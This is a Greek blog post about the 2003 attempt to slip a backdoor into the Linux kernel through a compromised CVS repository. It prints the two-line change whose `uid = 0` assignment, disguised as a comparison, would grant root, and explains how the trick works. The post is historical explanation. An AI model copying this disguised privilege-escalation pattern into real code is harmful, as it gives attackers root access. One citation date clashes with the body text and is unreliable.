Δευτέρα 2 Δεκεμβρίου 2013

Μια παρολίγον κερκόπορτα στον πυρήνα του Linux

Το Linux είναι ένα διαδεδομένο λειτουργικό σύστημα που χρησιμοποιείται τόσο για καθημερινές λειτουργίες, όσο και σε μηχανήματα ειδικού σκοπού (όπως web servers). Μια ιδιαιτερότητα αυτού του λειτουργικού συστήματος είναι πως ο πηγαίος κώδικας του είναι ελεύθερα διαθέσιμος και η ανάπτυξη του στηρίζεται σε μια κοινότητα εθελοντών.
Tο λογότυπο του Linux
Στις αρχές του 2002 η διαχείριση του πηγαίου κώδικα του πυρήνα του Linux, αποφασίστηκε να γίνει με το λογισμικό BitKeeper. Το BitKeeper ήταν ένα αποδοτικό, κατανεμημένο σύστημα διαχείρισης κώδικα. Το μειονέκτημα του ήταν πως ήταν ένα εμπορικό προϊόν κλειστού κώδικα, κάτι το οποίο είναι εντελώς αντίθετο στην φιλοσοφία του Linux. Σύντομα πολλοί προγραμματιστές αντέδρασαν, και έτσι δημιουργήθηκε ένα δεύτερο σύστημα διαχείρισης του κώδικα του πυρήνα, βασισμένο στο λογισμικό CVS.  Η διαδικασία για να ενσωματωθεί μια αλλαγή στον κώδικα του πυρήνα ήταν να προτείνει κάποιος μια αλλαγή και στην συνέχεια μέσα από μια ενδελεχή διαδικασία έγκρισης να αποφασιστεί αν αυτή η αλλαγή μπορεί να ενσωματωθεί στον κώδικα ή όχι1.

Το 2003 ο Larry McVoy παρατήρησε2 πως μια αλλαγή στον κώδικα του πυρήνα που υπήρχε στο CVS σύστημα δεν υπήρχε στο αντίστοιχο σύστημα βασισμένο στο BitKeeper. Ακόμη εντόπισε πως αυτή η αλλαγή δεν είχε περάσει ποτέ την διαδικασία έγκρισης, αλλά είχε μπει από κάποιον τρίτο ο οποίος είχε καταφέρει να παραβιάσει την ασφάλεια του CVS λογισμικού. Η αλλαγή ήταν μόλις 2 γραμμές:
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;

Οι δύο αυτές γραμμές φαινομενικά κάνουν έναν αθώο έλεγχο ασφαλείας. Κάποιος γνώστης της γλώσσας C μπορεί να παρατηρήσει όμως πως στο δεύτερο κομμάτι της εντολής if (current->uid = 0) χρησιμοποιείται το σύμβολο ανάθεσης (=) και όχι το σύμβολο σύγκρισης (==). Αυτό λοιπόν που κάνει η εντολή αυτή είναι αν συμβεί κάποιο συγκεκριμένο λάθος τότε να θέσει στην μεταβλητή uid την τιμή 0. Η μεταβλητή uid  όμως αντιστοιχεί στο επίπεδο ασφαλείας του χρήστη, με το 0 να είναι το επίπεδο με τα περισσότερα δικαιώματα (το λεγόμενο root). Επομένως αυτές οι 2 γραμμές κώδικα θα μπορούσαν να δώσουν  σε κάποιο απλό χρήστη πλήρη δικαιώματα πάνω σε ένα σύστημα βασισμένο στο Linux.

Η αλλαγή αυτή διορθώθηκε στο CVS και δεν πέρασε ποτέ στον κώδικα του πυρήνα του Linux. Το ποιος έκανε αυτή την αλλαγή παραμένει μέχρι σήμερα άγνωστο.

Παραπομπές:

  1. Ed Felten, "The Linux Backdoor Attempt of 2003", Freedom to thinker, 9 Οκτ. 2013 [Online], τελευταία πρόσβαση 2 Δεκ. 2013
  2. Larry McVoy, "BK2CVS problem", email στην λίστα linux-kernel-AT-vger.kernel.org, 5 Νοε, 2013, [Online], τελευταία πρόσβαση 2 Δεκ. 2013

Δεν υπάρχουν σχόλια:

Δημοσίευση σχολίου